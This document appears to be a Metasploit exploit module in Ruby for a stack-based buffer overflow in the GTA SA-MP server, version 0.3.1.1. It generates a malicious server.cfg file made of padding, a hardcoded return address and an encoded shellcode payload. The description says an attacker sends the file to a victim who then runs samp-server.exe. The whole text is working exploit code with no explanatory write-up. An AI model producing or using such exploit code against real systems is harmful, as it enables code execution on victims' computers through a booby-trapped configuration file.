GTA SA-MP - 'server.cfg' Local Buffer Overflow (Metasploit)

##
# $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GTA SA-MP server.cfg Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in GTA SA-MP Server.
				This buffer overflow occurs when the application attempts to open a malformed
				server.cfg file.  To exploit this vulnerability, an attacker must send the
				victim a server.cfg file and have them run samp-server.exe.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Silent_Dream',  # Original discovery, MSF Module, template by mona.py
				],
			'Version'        => '$Revision: 14076 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17893' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars'       => "\x0d\x0a\x1a",
					'Space'          => 392,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
					'DisableNops'    => true,
					'MaxSize'        => 392,
				},

			'Targets'        =>
				[
					[
						'GTA SA-MP (samp-server) v0.3.1.1',
						{
							'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 18 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
			], self.class)

	end

	def exploit

		buffer = "echo "
		buffer << rand_text_alpha_upper(379)
		buffer << [target.ret].pack('V')
		buffer << payload.encoded
		file_create(buffer)

	end
end